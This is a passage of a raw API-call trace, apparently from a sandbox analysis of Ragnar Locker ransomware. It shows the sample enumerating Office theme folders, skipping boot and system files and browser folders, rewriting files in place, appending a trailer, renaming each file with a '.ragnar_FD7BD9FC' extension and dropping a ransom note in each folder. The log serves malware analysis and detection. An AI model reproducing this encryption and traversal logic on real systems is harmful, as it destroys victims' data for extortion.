ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.INF", cAlternateFileName="")) returned 1 [0076.600] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0076.600] lstrcpyW (in: lpString1=0x1eab6c, lpString2="SLATE.INF" | out: lpString1="SLATE.INF") returned="SLATE.INF" [0076.600] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF") returned=".INF" [0076.600] lstrcmpiW (lpString1="SLATE.INF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0076.600] lstrcmpiW (lpString1="SLATE.INF", lpString2="autorun.inf") returned 1 [0076.600] lstrcmpiW (lpString1="SLATE.INF", lpString2="boot.ini") returned 1 [0076.600] lstrcmpiW (lpString1="SLATE.INF", lpString2="bootfont.bin") returned 1 [0076.600] lstrcmpiW (lpString1="SLATE.INF", lpString2="bootsect.bak") returned 1 [0076.600] lstrcmpiW (lpString1="SLATE.INF", lpString2="bootmgr") returned 1 [0076.600] lstrcmpiW (lpString1="SLATE.INF", lpString2="bootmgr.efi") returned 1 [0076.600] lstrcmpiW (lpString1="SLATE.INF", lpString2="bootmgfw.efi") returned 1 [0076.600] lstrcmpiW (lpString1="SLATE.INF", lpString2="desktop.ini") returned 1 [0076.600] lstrcmpiW (lpString1="SLATE.INF", lpString2="iconcache.db") returned 1 [0076.601] lstrcmpiW (lpString1="SLATE.INF", lpString2="ntldr") returned 1 [0076.601] lstrcmpiW (lpString1="SLATE.INF", lpString2="ntuser.dat") returned 1 [0076.601] lstrcmpiW (lpString1="SLATE.INF", lpString2="ntuser.dat.log") returned 1 [0076.601] lstrcmpiW (lpString1="SLATE.INF", lpString2="ntuser.ini") returned 1 [0076.601] lstrcmpiW (lpString1="SLATE.INF", lpString2="thumbs.db") returned -1 [0076.601] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0076.601] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0076.601] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0076.601] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0076.601] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0076.601] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0076.601] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0076.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf")) returned 0x20 [0076.602] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0076.602] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=500) returned 1 [0076.602] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.602] GetProcessHeap () returned 0x580000 [0076.602] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.602] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.603] VirtualAlloc (lpAddress=0x0, dwSize=0x1f4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.604] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.604] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.604] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f4, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1f4, lpOverlapped=0x0) returned 1 [0076.604] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.604] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f4, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.604] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f4, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1f4, lpOverlapped=0x0) returned 1 [0076.604] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.604] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.604] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.604] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.604] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.605] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.605] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.605] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.605] GetProcessHeap () returned 0x580000 [0076.605] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.605] CloseHandle (hObject=0x10c) returned 1 [0076.605] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" [0076.605] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF.ragnar_FD7BD9FC" [0076.605] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.605] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0076.605] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0076.605] lstrcpyW (in: lpString1=0x1eab6c, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0076.605] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned=".PNG" [0076.606] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0076.606] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0076.606] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0076.606] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0076.606] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0076.606] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0076.606] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0076.606] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0076.606] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0076.606] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0076.606] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0076.606] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0076.606] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0076.606] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0076.606] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0076.606] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0076.606] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0076.606] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0076.606] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0076.606] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0076.606] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0076.606] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0076.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 0x20 [0076.606] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0076.606] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=27177) returned 1 [0076.606] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6a20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.607] GetProcessHeap () returned 0x580000 [0076.607] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.607] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.608] VirtualAlloc (lpAddress=0x0, dwSize=0x6a29, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.608] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.608] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.608] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6a29, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x6a29, lpOverlapped=0x0) returned 1 [0076.609] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.610] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6a29, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.610] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6a29, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x6a29, lpOverlapped=0x0) returned 1 [0076.610] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6a29, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.610] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.610] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6a29, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.610] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.610] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.610] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.610] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.611] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.611] GetProcessHeap () returned 0x580000 [0076.611] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.611] CloseHandle (hObject=0x10c) returned 1 [0076.611] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" [0076.611] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0076.611] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.611] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0076.611] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0076.611] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA", cAlternateFileName="")) returned 1 [0076.611] lstrcmpiW (lpString1="SONORA", lpString2=".") returned 1 [0076.611] lstrcmpiW (lpString1="SONORA", lpString2="..") returned 1 [0076.611] lstrcmpiW (lpString1="SONORA", lpString2="Windows") returned -1 [0076.611] lstrcmpiW (lpString1="SONORA", lpString2="Windows.old") returned -1 [0076.611] lstrcmpiW (lpString1="SONORA", lpString2="Tor browser") returned -1 [0076.612] lstrcmpiW (lpString1="SONORA", lpString2="Internet Explorer") returned 1 [0076.612] lstrcmpiW (lpString1="SONORA", lpString2="Google") returned 1 [0076.612] lstrcmpiW (lpString1="SONORA", lpString2="Opera") returned 1 [0076.612] lstrcmpiW (lpString1="SONORA", lpString2="Opera Software") returned 1 [0076.612] lstrcmpiW (lpString1="SONORA", lpString2="Mozilla") returned 1 [0076.612] lstrcmpiW (lpString1="SONORA", lpString2="Mozilla Firefox") returned 1 [0076.612] lstrcmpiW (lpString1="SONORA", lpString2="$Recycle.Bin") returned 1 [0076.612] lstrcmpiW (lpString1="SONORA", lpString2="ProgramData") returned 1 [0076.612] lstrcmpiW (lpString1="SONORA", lpString2="All Users") returned 1 [0076.612] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0076.612] lstrcpyW (in: lpString1=0x1eb638, lpString2="SONORA" | out: lpString1="SONORA") returned="SONORA" [0076.612] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\" [0076.612] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\" [0076.612] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\RGNR_FD7BD9FC.txt" [0076.612] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0076.652] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*.*" [0076.652] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0076.652] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0076.652] lstrcpyW (in: lpString1=0x1ea75a, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0076.652] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7fece1a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7fece1a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0076.652] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0076.652] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7fece1a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7fece1a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.652] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0076.652] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0076.652] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0076.652] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0076.652] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0076.652] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fece1a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7fece1a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0076.652] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0076.652] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0076.653] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28535900, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28535900, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.ELM", cAlternateFileName="")) returned 1 [0076.653] lstrcmpiW (lpString1="SONORA.ELM", lpString2=".") returned 1 [0076.653] lstrcmpiW (lpString1="SONORA.ELM", lpString2="..") returned 1 [0076.653] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.INF", cAlternateFileName="")) returned 1 [0076.653] lstrcmpiW (lpString1="SONORA.INF", lpString2=".") returned 1 [0076.653] lstrcmpiW (lpString1="SONORA.INF", lpString2="..") returned 1 [0076.653] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | 